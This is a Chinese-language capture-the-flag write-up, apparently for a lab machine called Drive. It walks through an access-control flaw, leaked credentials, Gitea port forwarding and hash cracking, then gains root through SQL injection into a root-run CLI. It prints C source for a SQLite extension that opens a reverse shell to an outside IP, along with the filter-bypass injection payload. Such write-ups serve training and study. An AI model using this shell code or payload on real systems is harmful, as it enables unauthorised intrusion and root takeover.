Drive
信息收集
端口扫描
80端口 Web 站点
这个发现一个客户的留言,感觉是一种提示。后面想着往越权的方向找其他用户的账号密码
越权漏洞获取账号密码
经过一段时间的挖掘后,发现Reserve功能存在越权问题。可以Reverse别人的文件,之后就能看到文件的内容了
用Burpsuite遍历,发现账号密码和提示信息。
1 2
| martin Xk4@KjyrYv8t194L!
|
这里提示会备份数据库到 /var/www/backups
目录下
根据上面的信息找到了数据库文件
破解db.sqlite3里的SHA1得到账户密码,尝试SSH失败
gitea 泄露解压密码
还记得端口扫描中被filtered的3000端口吗。进程中也发现了gitea,它的默认端口就是3000
快速的端口转发
1 2
| Kali:ssh -L 3000:127.0.0.1:3000 martin@drive.htb -fN Windows:ssh -L 3000:127.0.0.1:3000 admin@remoteIP -fN
|
利用账户名密码登录 gitea
1 2
| martin@drive.htb Xk4@KjyrYv8t194L!
|
获得备份密码 H@ckThisP@ssW0rDIfY0uC@n:)
解压备份文件,尝试爆破SHA1
爆出几个密码
1 2 3
| johniscool johnmayer7 john316
|
尝试登录 ssh 成功
提权
反编译 doodleGrive-cli
linpeas 看了一下,其他信息都差不多。提权应该要在这个 doodleGrive-cli 下功夫了
反编译看一下,通过这个账号密码可以使用 cli 里的功能,值得注意的是,这里的功能都是以 root 权限执行的
1 2
| moriarty findMeIfY0uC@nMr.Holmz!
|
跟进一下 main_menu() 函数中调用的 activate_user_account() 函数存在命令注入问题,这个程序又是以 root 运行的,我们可以以此提权
但一番经过尝试,我没能直接执行系统命令。activate_user_account() 中存在字符过滤函数sanitize_string(),会将 local_29 中的字符过滤掉,也就是过滤了 \ { / | space '
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| void sanitize_string(char *param_1)
{ bool bVar1; size_t sVar2; long in_FS_OFFSET; int local_3c; int local_38; uint local_30; undefined8 local_29; undefined local_21; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); local_3c = 0; local_29 = 0x5c7b2f7c20270a00; local_21 = 0x3b; local_38 = 0; do { sVar2 = strlen(param_1); if (sVar2 <= (ulong)(long)local_38) { param_1[local_3c] = '\0'; if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } bVar1 = false; for (local_30 = 0; local_30 < 9; local_30 = local_30 + 1) { if (param_1[local_38] == *(char *)((long)&local_29 + (long)(int)local_30)) { bVar1 = true; break; } } if (!bVar1) { param_1[local_3c] = param_1[local_38]; local_3c = local_3c + 1; } local_38 = local_38 + 1; } while( true ); }
|
sqlite load_extension 提权
后面想到了sqlite SQL 注入 load_extension
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| /* Add your header comment here */
SQLITE_EXTENSION_INIT1
/* Insert your extension code here */ int tcp_port = 7777; char *ip = "10.10.14.67";
__declspec(dllexport)
int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); int fd; if ( fork() <= 0){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0); if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){ exit(0); }
dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/bash", 0LL, 0LL); } return rc; }
|
编译成 so 文件
1
| gcc -g -fPIC -shared shell.c -o t.so
|
进入doodleGrive-cli,选择5,用户名填写 "+load_extension(char(46,47,116))--
绕过过滤函数并加载so
即可绕过过滤函数,加载so文件反弹shell